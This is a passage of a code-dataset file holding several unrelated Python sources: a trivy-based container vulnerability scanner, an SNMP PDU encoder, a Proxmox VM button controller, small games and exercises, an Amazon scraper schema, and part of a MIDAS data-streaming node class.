None,\n \"width\": None\n },\n \"tbody\": tbody,\n \"thead\": [\"Title\", \"Artist\", \"Album\", \"Year\"]\n }\n return jsonify(rsp)\n","sub_path":"build/lib/TTTM/api/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":2574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"343084876","text":"from portmgr import command_list\nimport subprocess\n\nfrom portmgr.wrapper import getImages\n\n\ndef func(action):\n directory = action['directory']\n relative = action['relative']\n\n images = getImages()\n\n res = 0\n\n for image in images:\n image_name = image[\"Name\"]\n print(f'Scanning {image_name} of {image[\"ContainerName\"]}')\n scan_res = subprocess.run(['trivy', '-q', 'image', '-s', 'CRITICAL', '--exit-code', '1', image_name], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)\n if scan_res.returncode != 0:\n print('Found vulnerabilites:')\n print(scan_res.stdout)\n res = scan_res.returncode\n\n #print(\"Name: %s\" % container.name)\n #names.append(container.name)\n #config_str = subprocess.check_output([\"docker\", \"inspect\", \"-f\", '{{json .}}', container.id], stdout=subprocess.PIPE)\n #json.loads(config_str)\n #print(\"IP: %s\" % ip)\n #print(container.inspect)\n\n\n #ID = subprocess.run([\"docker-compose\", \"ps\", '-q'], stdout=subprocess.PIPE).stdout\n\n #if res != 0:\n # print(\"Error listing containers for \" + relative + \"!\\n\")\n\n return res\n\ncommand_list['v'] = {\n 'hlp': 'Scan container images for vulnerabilities',\n 'ord': 'nrm',\n 'fnc': func\n}\n","sub_path":"portmgr/commands/scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"174746164","text":"# -*- coding: utf-8 -*-\n# ----------------------------------------------------------------------\n# SNMP GET PDU generator\n# ----------------------------------------------------------------------\n# Copyright (C) 2007-2017 The NOC Project\n# See LICENSE for details\n# ----------------------------------------------------------------------\n\n# Python modules\nfrom __future__ import absolute_import\nimport random\nfrom collections import namedtuple\n# NOC modules\nfrom .ber import BEREncoder, BERDecoder, parse_p_oid\nfrom .consts import (PDU_GET_REQUEST, PDU_GETNEXT_REQUEST,\n PDU_RESPONSE, PDU_GETBULK_REQUEST)\nfrom .version import SNMP_v1, SNMP_v2c\n\n\ndef _build_pdu(community, pdu_type, oids, request_id, version=SNMP_v2c):\n \"\"\"\n Generate SNMP v2c GET/GETNEXT\n :param version:\n :param community:\n :param oids:\n :return:\n \"\"\"\n if version != SNMP_v1 and version != SNMP_v2c:\n raise NotImplementedError(\"Unsupported SNMP version\")\n e = BEREncoder()\n if not request_id:\n request_id = random.randint(0, 0x7FFFFFFF)\n # Encode variable bindings\n varbinds = e.encode_sequence([\n e.encode_sequence([\n e.encode_oid(str(oid)),\n e.encode_null()\n ]) for oid in oids\n ])\n # Encode RFC-1905 SNMP GET PDU\n pdu = e.encode_choice(pdu_type, [\n e.encode_int(request_id),\n e.encode_int(0), # Error status\n e.encode_int(0), # Error index\n varbinds\n ])\n # SNMP v2c PDU\n return e.encode_sequence([\n e.encode_int(version),\n e.encode_octet_string(str(community)),\n pdu\n ])\n\n\ndef get_pdu(community, oids, request_id=None, version=SNMP_v2c):\n \"\"\"\n Generate SNMP v2c GET PDU\n :param version:\n :param community:\n :param oids:\n :return:\n \"\"\"\n return _build_pdu(community, PDU_GET_REQUEST, oids, request_id, version)\n\n\ndef getnext_pdu(community, oid, request_id=None, version=SNMP_v2c):\n \"\"\"\n Generate SNMP v2c GETNEXT PDU\n :param version:\n :param community:\n :param oids:\n :return:\n \"\"\"\n return _build_pdu(community, PDU_GETNEXT_REQUEST, [oid], request_id, version)\n\n\ndef getbulk_pdu(community, oid, request_id=None,\n non_repeaters=0, max_repetitions=10, version=SNMP_v2c):\n \"\"\"\n Generate SNMP v2c GETBULK PDU\n \"\"\"\n if version == SNMP_v1:\n raise ValueError(\"SNMPv1 does not define GETBULK\")\n e = BEREncoder()\n if not request_id:\n request_id = random.randint(0, 0x7FFFFFFF)\n oids = [oid]\n # Encode variable bindings\n varbinds = e.encode_sequence([\n e.encode_sequence([\n e.encode_oid(o),\n e.encode_null()\n ]) for o in oids\n ])\n # Encode RFC-1905 SNMP GET PDU\n pdu = e.encode_choice(PDU_GETBULK_REQUEST, [\n e.encode_int(request_id),\n e.encode_int(non_repeaters),\n e.encode_int(max_repetitions),\n varbinds\n ])\n # SNMP v2c PDU\n return e.encode_sequence([\n e.encode_int(SNMP_v2c),\n e.encode_octet_string(community),\n pdu\n ])\n\n\nGetResponse = namedtuple(\"GetResponse\", [\"community\", \"request_id\",\n \"error_status\", \"error_index\",\n \"varbinds\"])\n\n\ndef parse_get_response(pdu):\n d = BERDecoder()\n data = d.parse_sequence(pdu)[0]\n pdu = data[2]\n if pdu[0] != PDU_RESPONSE:\n raise ValueError(\"Invalid response PDU type: %s\" % pdu[0])\n return GetResponse(\n community=data[1],\n request_id=pdu[1],\n error_status=pdu[2],\n error_index=pdu[3],\n varbinds=pdu[4]\n )\n\n\ndef parse_get_response_raw(pdu):\n d = BERDecoder()\n # Strip outher sequence\n msg, _ = d.split_tlv(pdu)\n # Strip proto version\n _, msg = d.split_tlv(msg)\n # Strip community\n _, msg = d.split_tlv(msg)\n # Strip inner sequence\n msg, _ = d.split_tlv(msg)\n # Strip pdu type\n _, msg = d.split_tlv(msg)\n # strip request id\n _, msg = d.split_tlv(msg)\n # strip error_code\n _, msg = d.split_tlv(msg)\n # strip error_index\n msg, _ = d.split_tlv(msg)\n # Varbinds\n varbinds = []\n while msg:\n vb, msg = d.split_tlv(msg)\n oid, value = d.split_tlv(vb)\n varbinds += [[parse_p_oid(oid), value]]\n data = d.parse_sequence(pdu)[0]\n pdu = data[2]\n if pdu[0] != PDU_RESPONSE:\n raise ValueError(\"Invalid response PDU type: %s\" % pdu[0])\n return GetResponse(\n community=data[1],\n request_id=pdu[1],\n error_status=pdu[2],\n error_index=pdu[3],\n varbinds=varbinds\n )\n","sub_path":"core/snmp/get.py","file_name":"get.py","file_ext":"py","file_size_in_byte":4612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"436110188","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nimport time\nimport logging\nfrom pyftdi.gpio import GpioAsyncController\nfrom dotenv import load_dotenv\nfrom proxmoxer import ProxmoxAPI\n\nfrom MultiStateButton import MultiStateButton\nfrom VirtualMachine import VirtualMachine\n\nload_dotenv() # take environment variables from .env.\n\nlogging.basicConfig(\n level=getattr(logging, os.environ.get(\"LOG_LEVEL\", 'INFO')),\n format='[%(asctime)s] %(levelname)8s:%(name)25.25s: %(message)s',\n)\n\nlogger = logging.getLogger('virtual-front-io-panel')\n\ndef main(args=None):\n if args is None:\n args = sys.argv[1:]\n\n gpioController = GpioAsyncController()\n gpioController.open_from_url(os.environ.get(\"FTDI_URI\"))\n\n proxmoxControllerKwargs = dict(\n user=os.environ.get(\"PROXMOX_USER\", None),\n password=os.environ.get(\"PROXMOX_PASSWORD\", None),\n verify_ssl=os.environ.get(\"PROXMOX_VERIFY_SSL\", None),\n token_name=os.environ.get(\"PROXMOX_TOKEN_NAME\", None),\n token_value=os.environ.get(\"PROXMOX_TOKEN_VALUE\", None),\n )\n # Don't pass none values\n proxmoxController = ProxmoxAPI(\n os.environ.get(\"PROXMOX_HOST\", None),\n **{k: v for k, v in proxmoxControllerKwargs.items() if v is not None}\n )\n logger.info(\"Succesfully authenticated with the Proxmox API Version: {version}\".format(\n version=proxmoxController.version.get()[\"version\"]))\n\n vm1 = VirtualMachine(proxmoxController, os.environ.get(\"VM1_PROXMOX_VMID\", None))\n vm2 = VirtualMachine(proxmoxController, os.environ.get(\"VM2_PROXMOX_VMID\", None))\n\n buttonVm1 = MultiStateButton(gpioController, 0)\n buttonVm2 = MultiStateButton(gpioController, 1)\n\n while True:\n buttonVm1State = buttonVm1.getState()\n buttonVm2State = buttonVm2.getState()\n\n if buttonVm1State == buttonVm1.PressEvent.SHORT_PRESS:\n if vm1.getStatus() == 'stopped':\n vm2.setStatusBlocking('shutdown', forceStop=True)\n vm1.setStatusBlocking('start')\n elif vm1.getStatus() == 'running':\n vm1.setStatusBlocking('shutdown', forceStop=True)\n elif buttonVm1State == buttonVm1.PressEvent.LONG_PRESS:\n vm1.setStatusBlocking('stop')\n elif buttonVm2State == buttonVm2.PressEvent.SHORT_PRESS:\n if vm2.getStatus() == 'stopped':\n vm1.setStatusBlocking('shutdown', forceStop=True)\n vm2.setStatusBlocking('start')\n elif vm2.getStatus() == 'running':\n vm2.setStatusBlocking('shutdown', forceStop=True)\n elif buttonVm2State == buttonVm2.PressEvent.LONG_PRESS:\n vm2.setStatusBlocking('stop')\n\n time.sleep(0.100)\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"virtual_front_io_panel/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"94263332","text":"#Encoding: UTF-8\n#Autor: Abraham Gandaria Alonso\n#Insectos\n\ndef contarInsectos():\n insectos=0\n dias=0\n restantes=1\n while(restantes>0):\n insectos+=int(input(\"¿Cuantos insectos recolectaste hoy\"))\n dias+=1\n restantes=30-insectos\n print(\"Despues de %i dias(s) de recoleccion has acumulado %i insectos\"%(dias,insectos))\n if(restantes>=0):\n print(\"Te hace falta recolectar %i insectos\"%restantes)\n if(restantes<0):\n print(\"Te has pasado con %i insectos\"%(-1*restantes))\n print(\"Felicidades has llegado a la meta\")\n \n \ndef main():\n contarInsectos()\nmain()\n\n\n\n\n","sub_path":"Insectos.py","file_name":"Insectos.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"468303455","text":"# -*- coding: utf8 -*-\nfrom alascrapy.spiders.base_spiders.amazon import AmazonCSV\n\nclass AmazonUKCsv(AmazonCSV):\n name = 'amazon_uk_csv'\n country_code = 'uk'\n asin_kind='amazon_uk_id'\n start_urls = ['http://alatest.com']\n endpoint=\"webservices.amazon.co.uk\"\n\n schema = {'asin':0,\n 'manufacturer': 1,\n 'name': 4,\n 'image': [27,26,10],\n 'ean': 12,\n 'mpn': 20,\n 'price': [5, 6],\n 'url': [9, 23],\n 'salesrank': 15,\n 'nodes': [{'node': 16,\n 'node_path': 18},\n {'node': 17,\n 'node_path': 19}]}","sub_path":"alascrapy/spiders/amazon_uk_csv.py","file_name":"amazon_uk_csv.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"293616887","text":"import pygame\r\nimport numpy as np\r\nfrom pygame.draw import *\r\nfrom random import randint\r\npygame.init()\r\n\r\nFPS = 50\r\nscreen = pygame.display.set_mode((1200, 700))\r\nfile = open('best_players.txt', 'a')\r\nname = ''\r\nglobal score\r\nscore = 0\r\nDARK_BLUE = (0, 33, 55) # background color\r\nSILVER = (192, 192, 192) # score color\r\nGOLD = (255, 215, 0) # superball color\r\n\r\nRED = (255, 0, 0)\r\nBLUE = (0, 0, 255)\r\nYELLOW = (255, 255, 110)\r\nMAGENTA = (255, 0, 255)\r\nCYAN = (0, 255, 255)\r\nBLACK = (0, 0, 0)\r\nLIME = (0, 255, 0)\r\nBEIGE = (250, 250, 210)\r\nPURPLE = (128, 0, 128) \r\nCARMINE = (169, 32, 62)\r\nGREEN = (119, 221, 119)\r\nROSE = (251, 96, 72)\r\n\r\nCOLORS = [RED, BLUE, YELLOW, MAGENTA, CYAN, BEIGE, LIME, ROSE, PURPLE, CARMINE,\r\n GREEN]\r\n\r\nn = 11\r\n\r\nx_sup = 0\r\ny_sup = 0\r\nr1_sup = 18\r\nr2_sup = 22\r\nvr_sup = 0.05\r\nvx_sup = 0\r\nvy_sup = 0\r\nsuperball_needed = False\r\nsuperball_initiated = False\r\n\r\ncomment_needed = False\r\nname_to_write = False\r\ncomment_count = 0\r\n\r\nx = np.zeros(n, dtype=int)\r\ny = np.zeros(n, dtype=int)\r\nvx = np.zeros(n, dtype=int)\r\nvy = np.zeros(n, dtype=int)\r\nr = np.zeros(n, dtype=int)\r\ncolor = []\r\nfor i in range(n):\r\n color.append(COLORS[i%(len(COLORS))])\r\n\r\n\r\ndef new_ball(i):\r\n '''\r\n creates a new ball at random coordinates x, y\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n '''\r\n global x, y, r, color\r\n x[i] = randint(100, 1100)\r\n y[i] = randint(100, 600)\r\n r[i] = randint(20, 40)\r\n vx[i] = randint(-10, 10)\r\n vy[i] = randint(-10, 10)\r\n circle(screen, color[i], (x[i], y[i]), r[i])\r\n \r\ndef new_balls(n):\r\n for i in range(n):\r\n new_ball(i)\r\n\r\ndef move_balls():\r\n '''\r\n changes the coordinates of usual balls\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n '''\r\n global x, y, r, vx, vy\r\n for i in range(n):\r\n if (x[i] + r[i]) > 1200 or (x[i] - r[i]) < 0 :\r\n vx[i] = - vx[i]\r\n if (y[i] + r[i]) > 700 or (y[i] - r[i]) < 0:\r\n vy[i] = - vy[i]\r\n x[i] += vx[i]\r\n y[i] += vy[i]\r\n circle(screen, color[i], (x[i], y[i]), r[i])\r\n \r\n\r\ndef check_click(event):\r\n '''\r\n checks if the player has catched a ball\r\n\r\n Parameters\r\n ----------\r\n event : pygame.MOUSECLICKBUTTON\r\n player's click\r\n\r\n Returns\r\n -------\r\n list of one string and maybe one int\r\n [0] - type of the ball that was catched\r\n [1] the number of the ball if list[0] == 'usual'\r\n\r\n '''\r\n ans = -1\r\n global n, x, y, r, x_sup, y_sup, r2_sup\r\n mouse_x, mouse_y = event.pos\r\n if (mouse_x - x_sup)**2 + (mouse_y - y_sup)**2 <= r2_sup:\r\n return ['super']\r\n for i in range(n):\r\n if (mouse_x - x[i])**2 + (mouse_y - y[i])**2 <= r[i]**2:\r\n ans = i\r\n return ['usual', ans]\r\n if ans == -1:\r\n return ['none']\r\n\r\ndef draw_sun(x, y, r, R):\r\n global GOLD\r\n \"\"\"\r\n Функция рисует солнце с центром (x, y), радиусом r. R задает радиус лимба.\r\n \"\"\"\r\n ls = [[x + r, y]]\r\n a = np.pi/6 - np.pi/12\r\n b = np.pi/6\r\n while a <= 2*np.pi:\r\n ls.append([x + R * np.cos(a), y + R * np.sin(a)])\r\n ls.append([x + r * np.cos(b), y + r * np.sin(b)])\r\n a += np.pi/6\r\n b += np.pi/6\r\n polygon(screen, GOLD, ls)\r\n\r\ndef new_superball():\r\n '''\r\n creates new superball\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n '''\r\n global x_sup, y_sup, r1_sup, r2_sup, vx_sup, vy_sup\r\n x_sup = randint(100, 1100)\r\n y_sup = randint(100, 600)\r\n r1_sup = 20\r\n r2_sup = 24\r\n vx_sup = (-1)^(randint(1, 2))*randint(1, 1)\r\n vy_sup = (-1)^(randint(1, 2))*randint(1, 1)\r\n draw_sun(x_sup, y_sup, r1_sup, r2_sup)\r\n \r\n \r\ndef move_superball():\r\n '''\r\n changes the coordinates of the superball\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n '''\r\n global x_sup, y_sup, r1_sup, r2_sup, vx_sup, vy_sup, vr_sup\r\n global superball_needed, superball_initiated\r\n if (x_sup + r2_sup) > 1200 or (x_sup - r2_sup) < 0 :\r\n vx_sup = - vx_sup\r\n if (y_sup + r2_sup) > 700 or (y_sup - r2_sup) < 0:\r\n vy_sup = - vy_sup\r\n x_sup += vx_sup\r\n y_sup += vy_sup\r\n r1_sup -= vr_sup\r\n r2_sup -= vr_sup\r\n draw_sun(x_sup, y_sup, r1_sup, r2_sup)\r\n if r1_sup < 0:\r\n superball_needed = False\r\n superball_initiated = False\r\n\r\n\r\ndef print_score():\r\n '''\r\n prints player's score\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n '''\r\n font = pygame.font.Font(None, 72)\r\n text = font.render(\"Score: \" + str(score), True, SILVER)\r\n screen.blit(text, [500, 30])\r\n \r\n \r\ndef print_comment(comment, x, y, size):\r\n '''\r\n prints some comments\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n '''\r\n font = pygame.font.Font(None, size)\r\n text = font.render(comment, True, SILVER)\r\n screen.blit(text, [x, y])\r\n \r\n \r\ndef save_scores(final_score, name):\r\n if name == '':\r\n name = 'Player'\r\n file.write(name + \" : \" + str(final_score) + '\\n')\r\n \r\npygame.display.update()\r\nclock = pygame.time.Clock()\r\nfinished = False\r\n\r\nnew_balls(n)\r\n\r\nwhile not finished:\r\n fps_change = FPS + score//100\r\n screen.fill(DARK_BLUE)\r\n clock.tick(fps_change)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n finished = True\r\n elif event.type == pygame.KEYDOWN:\r\n finished = True\r\n name_to_write = True\r\n elif event.type == pygame.MOUSEBUTTONDOWN:\r\n if check_click(event)[0] == 'super':\r\n score += int(1/(r2_sup)*10000)\r\n comment_needed = True\r\n superball_needed = False\r\n superball_initiated = False\r\n elif check_click(event)[0] == 'usual':\r\n score += 50 - r[check_click(event)[1]]//2\r\n new_ball(check_click(event)[1])\r\n else:\r\n score -= 1\r\n move_balls()\r\n \r\n if score % 200 < 20 and not (superball_initiated):\r\n superball_needed = True\r\n new_superball()\r\n superball_initiated = True\r\n if superball_needed and superball_initiated:\r\n move_superball()\r\n print_score()\r\n if comment_needed == True:\r\n comment_count += 1\r\n print_comment(\"AWESOME!\", 500, 300, 72)\r\n if comment_count > 150:\r\n comment_count = 0\r\n comment_needed = False\r\n pygame.display.update()\r\n\r\n\r\nwhile name_to_write:\r\n screen.fill(DARK_BLUE)\r\n clock.tick(FPS)\r\n print_comment(\"Enter your name:\", 400, 300, 72)\r\n print_comment(\"Please, small letters and numbers only\", 400, 350, 36)\r\n print_comment(\"Enter to save your result, close to exit without saving\", 400, 500, 36)\r\n print_comment(name, 400, 400, 72)\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n name_to_write = False\r\n elif event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_RETURN:\r\n name_to_write = False\r\n elif (event.key < 123 and event.key > 96) or (event.key < 58 and event.key > 47):\r\n name += chr(event.key)\r\n pygame.display.update()\r\n\r\nsave_scores(score, name)\r\n\r\nfile.close()\r\npygame.quit()\r\n","sub_path":"lab4.1/catch a ball with best players.py","file_name":"catch a ball with best players.py","file_ext":"py","file_size_in_byte":7180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"335979387","text":"#!/usr/bin/env python3\n\n# This file is part of the MIDAS system.\n# Copyright 2014\n# Andreas Henelius ,\n# Jari Torniainen \n# Finnish Institute of Occupational Health\n#\n# This code is released under the MIT License\n# http://opensource.org/licenses/mit-license.php\n#\n# Please see the file LICENSE for details.\n\nimport sys\nimport zmq\nimport time\nimport json\nimport inspect\nimport multiprocessing as mp\nfrom . import utilities as mu\nimport pylsl as lsl\n\n\nclass BaseNode(object):\n\n \"\"\" Simple MIDAS base node class. \"\"\"\n\n def __init__(self,\n config=None,\n nodename=\"basenode\",\n nodetype='',\n nodeid=\"00\",\n nodedesc=\"base node\",\n primary_node=True,\n ip=None,\n port_frontend=5001,\n port_backend=5002,\n port_publisher='',\n n_workers=5,\n lsl_stream_name=None,\n n_channels=None,\n channel_names=[],\n channel_descriptions=None,\n sampling_rate=None,\n buffer_size_s=30,\n run_publisher=False,\n secondary_data=False,\n n_channels_secondary=0,\n buffer_size_secondary=0,\n channel_names_secondary=[],\n channel_descriptions_secondary=None,\n default_channel=''):\n \"\"\" Initializes a basic MIDAS node class. Arguments can be passed either\n as config dict or specified spearately. If argumets are passed via\n both methods the ini-file will overwrite manually specified\n arguments.\n \"\"\"\n\n # Parse information from a dictionary (from an ini-file), if provided\n if config:\n # Settings for general node properties\n if 'nodename' in config:\n nodename = config['nodename']\n\n if 'nodetype' in config:\n nodetype = config['nodetype']\n\n if 'nodeid' in config:\n nodeid = config['nodeid']\n\n if 'nodedesc' in config:\n nodedesc = config['nodedesc']\n\n if 'ip' in config:\n ip = config['ip'].lower().strip()\n\n if 'primary_node' in config:\n primary_node = mu.str2bool(config['primary_node'])\n\n if 'port_frontend' in config:\n port_frontend = int(config['port_frontend'])\n\n if 'port_backend' in config:\n port_backend = int(config['port_backend'])\n\n if 'port_publisher' in config:\n port_publisher = int(config['port_publisher'])\n\n if 'run_publisher' in config:\n run_publisher = mu.str2bool(config['run_publisher'])\n\n if 'n_workers' in config:\n n_workers = int(config['n_workers'])\n\n # Settings for data stream properties\n if 'lsl_stream_name' in config:\n lsl_stream_name = config['lsl_stream_name']\n\n if 'n_channels' in config:\n n_channels = int(config['n_channels'])\n\n if 'channel_names' in config:\n channel_names = mu.listify(config, 'channel_names')\n\n if 'channel_descriptions' in config:\n channel_descriptions = mu.listify(\n config,\n 'channel_descriptions')\n\n if 'sampling_rate' in config:\n sampling_rate = int(config['sampling_rate'])\n\n if 'buffer_size_s' in config:\n buffer_size_s = float(config['buffer_size_s'])\n\n # Settings for secondary channels\n if 'secondary_data' in config:\n secondary_data = config['secondary_data']\n\n if 'default_channel' in config:\n default_channel = config['default_channel']\n\n if 'n_channels_secondary' in config:\n n_channels_secondary = int(config['n_channels_secondary'])\n\n if 'buffer_size_secondary' in config:\n buffer_size_secondary = int(config['buffer_size_secondary'])\n\n if 'channel_names_secondary' in config:\n channel_names_secondary = mu.listify(\n config,\n 'channel_names_secondary')\n\n if 'channel_descriptions_secondary' in config:\n channel_descriptions_secondary = mu.listify(\n config,\n 'channel_descriptions_secondary')\n\n # general node properties\n self.nodename = nodename\n self.nodetype = nodetype\n self.nodeid = nodeid\n self.nodedesc = nodedesc\n self.primary_node = primary_node\n self.port_frontend = port_frontend\n self.port_backend = port_backend\n self.port_publisher = port_publisher\n self.run_publisher = run_publisher\n self.n_workers = n_workers\n\n # Automatically determine the IP of the node unless set in the node\n # configuration\n if (ip is None) or (ip == 'auto'):\n ip = mu.get_ip()\n elif ip is 'localhost':\n ip = '127.0.0.1'\n self.ip = ip\n\n self.url_frontend = mu.make_url(self.ip, self.port_frontend)\n self.url_backend = mu.make_url('127.0.0.1', self.port_backend)\n\n # publisher settings\n self.topic_list = {}\n\n if self.run_publisher:\n self.url_publisher = \"tcp://\" + \\\n str(self.ip) + \":\" + str(self.port_publisher)\n self.message_queue = mp.Queue(10)\n else:\n self.url_publisher = ''\n\n # primary channels and data stream properties\n if self.primary_node:\n self.lsl_stream_name = lsl_stream_name\n self.n_channels = n_channels\n if channel_names:\n self.channel_names = channel_names\n else:\n self.channel_names = [str(c) for c in range(self.n_channels)]\n self.channel_descriptions = channel_descriptions\n self.sampling_rate = sampling_rate\n self.buffer_size_s = buffer_size_s\n if self.sampling_rate > 0:\n self.buffer_size = int(self.buffer_size_s * self.sampling_rate)\n else:\n self.buffer_size = int(self.buffer_size_s)\n\n if self.channel_descriptions is None:\n self.channel_descriptions = [''] * self.n_channels\n\n else:\n self.lsl_stream_name = ['']\n self.n_channels = 0\n self.channel_names = ['']\n self.channel_descriptions = ['']\n self.sampling_rate = 0\n self.buffer_size_s = 0\n self.buffer_size = 0\n\n # secondary channels\n self.secondary_data = secondary_data\n self.default_channel = default_channel\n self.n_channels_secondary = n_channels_secondary\n self.buffer_size_secondary = [\n buffer_size_secondary] * self.n_channels_secondary\n self.channel_names_secondary = channel_names_secondary\n self.channel_descriptions_secondary = channel_descriptions_secondary\n\n if (self.n_channels_secondary > 0) & (self.channel_names_secondary is None):\n self.channel_names_secondary = [\n 'ch_s_' +\n str(i) for i in range(\n self.n_channels_secondary)]\n\n if self.channel_descriptions is None:\n self.channel_descriptions = [''] * self.n_channels\n\n if self.channel_descriptions_secondary is None:\n self.channel_descriptions_secondary = [\n ''] * self.n_channels_secondary\n\n # ------------------------------\n # State variables:\n # run_state : poison pill to control processes\n # wptr : the current index being written to in the\n # circular buffer (channel_data)\n # buffer_full : has the circular buffer been full or not\n # lock_primary : lock for channel_data (primary data)\n # lock_secondary : lock for the secondary channel_data\n # ------------------------------\n self.run_state = mp.Value('i', 0)\n\n self.wptr = mp.Value('i', 0)\n self.buffer_full = mp.Value('i', 0)\n\n self.lock_primary = mp.Lock()\n self.lock_secondary = []\n for i in range(self.n_channels_secondary):\n self.lock_secondary.append(mp.Lock())\n\n # ------------------------------\n # Data containers\n # ------------------------------\n # Preallocate primary buffers\n if self.primary_node:\n self.channel_data = [0] * self.n_channels\n\n for i in range(self.n_channels):\n self.channel_data[i] = mp.Array('d', [0] * self.buffer_size)\n\n self.time_array = mp.Array('d', [0] * self.buffer_size)\n self.last_time = mp.Array('d', [0])\n else:\n self.channel_data = []\n self.time_array = []\n self.last_time = []\n\n # Preallocate secondary buffers\n if self.secondary_data:\n self.channel_data_secondary = [0] * self.n_channels_secondary\n self.time_array_secondary = [0] * self.n_channels_secondary\n self.last_time_secondary = mp.Array(\n 'd',\n [0] *\n self.n_channels_secondary)\n\n for i in range(self.n_channels_secondary):\n self.channel_data_secondary[i] = mp.Array(\n 'd',\n [0] *\n self.buffer_size_secondary[i])\n self.time_array_secondary[i] = mp.Array(\n 'd',\n [0] *\n self.buffer_size_secondary[i])\n\n self.wptr_secondary = mp.Array('i', [0] * self.n_channels_secondary)\n self.buffer_full_secondary = mp.Array(\n 'i',\n [0] *\n self.n_channels_secondary)\n\n # ------------------------------\n # Empty containers for functions\n # ------------------------------\n self.metric_names = []\n self.metric_descriptions = []\n self.metric_pointers = []\n\n # ------------------------------\n # Empty container for processes\n # ------------------------------\n self.process_list = []\n\n # ------------------------------\n # Empty container for metric functions\n # ------------------------------\n self.metric_functions = []\n\n # -------------------------------------------------------------------------\n # Receiver (receives data and stores the data in a circular buffer)\n # -------------------------------------------------------------------------\n def receiver(self):\n \"\"\" Receive data from an LSL stream and store it in a circular\n buffer.\n \"\"\"\n\n streams = []\n\n while not streams:\n print(\"Trying to connect to the stream: \" + self.lsl_stream_name)\n streams = lsl.resolve_byprop(\n 'name',\n self.lsl_stream_name,\n timeout=10)\n if not streams:\n print(\"\\tStream not found, re-trying...\")\n\n inlet = lsl.StreamInlet(streams[0], max_buflen=1)\n print(\"\\tDone\")\n\n i = 0\n self.last_time.value = 0 # init the last_time value\n while self.run_state.value:\n x, t = inlet.pull_sample()\n\n self.lock_primary.acquire() # LOCK-ON\n\n for k in range(self.n_channels):\n self.channel_data[k][self.wptr.value] = x[k]\n\n if t is None:\n t = self.last_time.value + self.sampling_rate\n\n self.time_array[self.wptr.value] = t\n self.last_time.value = t\n\n i += 1\n self.wptr.value = i % self.buffer_size\n self.lock_primary.release() # LOCK-OFF\n\n # is the buffer full\n if (0 == self.buffer_full.value) and (i >= self.buffer_size):\n self.buffer_full.value = 1\n # Ending run, clear inlet\n inlet.close_stream()\n\n # -------------------------------------------------------------------------\n # Publish messages that are placed in the message queue\n # -------------------------------------------------------------------------\n def publisher(self):\n \"\"\" Publish data using ZeroMQ.\n\n A message to be published is placed in the node's message queue\n (self.message_queue), from which this functions gets() the next\n message and publishes it using the node's publisher.\n \"\"\"\n\n context = zmq.Context()\n socket = context.socket(zmq.PUB)\n socket.connect(self.url_publisher)\n\n while self.run_state.value:\n if not self.message_queue.empty():\n socket.send_string(\n \"%s;%s\" %\n (self.nodename, self.message_queue.get()))\n time.sleep(0.0001)\n\n # -------------------------------------------------------------------------\n # Respond to queries over ZeroMQ\n # -------------------------------------------------------------------------\n def responder(self, responder_id):\n \"\"\" Respond to queries over ZeroMQ.\n\n The responder listens to messages over ZeroMQ and handles messages\n following the MIDAS Messaging Protocol. The messages can be queries\n of metrics, data, or commands regarding, e.g., the state of the\n node.\n \"\"\"\n\n context = zmq.Context()\n socket = context.socket(zmq.REQ)\n socket.connect(self.url_backend)\n socket.send(b\"READY\")\n\n print('Started new responder.\\tID: ' + str(responder_id))\n\n while self.run_state.value:\n try:\n address, req_type, request = mu.midas_recv(socket)\n recv_time = time.time()\n\n if req_type == 'metric':\n return_value = self.handle_metric(request)\n\n elif req_type == 'data':\n return_value = self.handle_data(request)\n\n elif req_type == 'command':\n return_value = self.handle_command(request)\n\n elif req_type == 'ping':\n return_value = str(time.time() - recv_time)\n\n else:\n return_value = {\"error\": \"not recognized\"}\n\n mu.midas_send(socket, 'reply', return_value, address)\n\n except zmq.ContextTerminated:\n return\n # -------------------------------------------------------------------------\n\n def unwrap_channel(self, channel_name):\n \"\"\" Gives the unwrapping vector for the specified channel\n\n Args:\n channel_name : name of the channel\n Returns:\n idx : unwrapping vector\n \"\"\"\n if channel_name in self.channel_names:\n if self.buffer_full.value:\n idx = [0] * self.buffer_size\n for i in range(self.buffer_size):\n idx[i] = (self.wptr.value + i) % self.buffer_size\n else:\n idx = range(self.wptr.value)\n\n elif channel_name in self.channel_names_secondary:\n ch_idx = self.channel_names_secondary.index(channel_name)\n if self.buffer_full_secondary[ch_idx]:\n idx = [0] * self.buffer_size_secondary[ch_idx]\n for i in range(self.buffer_size_secondary[ch_idx]):\n idx[i] = ((self.wptr_secondary[ch_idx] + i) %\n self.buffer_size_secondary[ch_idx])\n else:\n idx = range(self.wptr_secondary[ch_idx])\n\n return idx\n\n def push_sample_secondary(self, ch, timep, value, use_lock=True):\n \"\"\" Push a new sample into a secondary data buffer.\n\n Args:\n ch: secondary data channel index\n timep: time stamp of new sample\n value: value of new sample\n \"\"\"\n if use_lock:\n self.lock_secondary[ch].acquire()\n\n self.channel_data_secondary[ch][self.wptr_secondary[ch]] = value\n 